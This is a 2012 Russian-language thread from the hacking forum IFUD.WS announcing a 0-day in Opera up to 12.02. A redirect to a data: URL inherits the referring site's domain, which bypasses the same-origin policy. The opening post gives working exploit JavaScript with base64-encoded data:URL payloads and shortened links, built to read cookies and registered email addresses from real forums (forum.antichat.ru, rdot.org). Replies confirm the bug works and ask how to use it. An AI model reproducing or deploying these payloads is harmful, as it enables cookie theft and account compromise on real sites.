1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

XSS на любых сайтах (Opera, 0-day, обход SOP)

Тема в разделе "Новости IT", создана пользователем ResH, 6 окт 2012.

  1. TopicStarter Overlay
    ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.273
    Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
    Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
    Советую предварительно ознакомится со следующей информацией:
    Please login or register to view links
    Please login or register to view links

    В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
    Пример:

    PHP:
    <script>alert(document.domain)</script> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ
    Ссылка, сокращенная через сервис tinyurl.com:
    Please login or register to view links

    При переходе по ссылке мы увидим алерт "tinyurl.com".
    Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


    При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
    Пример:

    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
    else
        
    alert(document.domain);
    </script> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg== 
    Ссылка:
    Please login or register to view links

    Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


    Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

    Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.


    PoC:
    1) Читаем куки forum.antichat.ru:

    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
     
    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }
     
    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'http';
        
    ifr.src += document.referrer.length '' 's';
        
    ifr.src += '://forum.antichat.ru/css/a.css';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }
     
    </script>
    <body onload=ifrAdd()> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk
    PHP:
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    http://tinyurl.com/antichat-cookie
    2) Читаем куки rdot.org

    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
     
    function 
    xss()
    {
        
    alert(document.frames[0].document.cookie);
    }
     
    function 
    ifrAdd()
    {
        var 
    ifr document.createElement('iframe');
        
    ifr.style 'width:0px;height:0px;visibility:hidden';
        
    ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
        
    ifr.onload = function(){xss()};
        
    document.body.appendChild(ifr);
    }
     
    </script>
    <body onload=ifrAdd()> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg== 
    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    Please login or register to view links


    3) Читаем регистрационное мыло forum.antichat.ru

    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
     
    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4
    Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
    Please login or register to view links


    4) Читаем регистрационное мыло rdot.org

    PHP:
    <script>
    if(
    document.domain == 'tinyurl.com')
        
    location.reload();
     
    function 
    getMail()
    {
        var 
    = new XMLHttpRequest;
        
    x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
        
    x.send(null);
        
    alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
    }
    </script>
    <body onload=getMail()> 
    PHP:
    data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg== 

    Ссылка (пример работает при переходе по ссылке с домена rdot.org):
    Please login or register to view links



    тема на antichat.ru Please login or register to view links
     
    Метки:
  2. }{OTT@BY4

    }{OTT@BY4 Гость

    Сейчас проверю:)
     
    • Like Like x 1
  3. TopicStarter Overlay
    ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.273
    сам проверил ) буг реальный
     
  4. }{OTT@BY4

    }{OTT@BY4 Гость

    БУГ?????? Я думал БАГ:)
     
    • Like Like x 1
  5. TopicStarter Overlay
    ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.273
    да я англоязычный (bug):)
     
    • Like Like x 1
  6. }{OTT@BY4

    }{OTT@BY4 Гость

    :)))
     
  7. panarama

    panarama

    Регистрация:
    15 май 2012
    Сообщения:
    61
    Симпатии:
    49
    как заюзать баг не подскажите?
     
    • Like Like x 1
  8. }{OTT@BY4

    }{OTT@BY4 Гость

    Да там вс’ понятно, я проверил валид вот только 9 версией Оперы давно не пользуються:(

    [​IMG]
     

Поделиться этой страницей

Загрузка...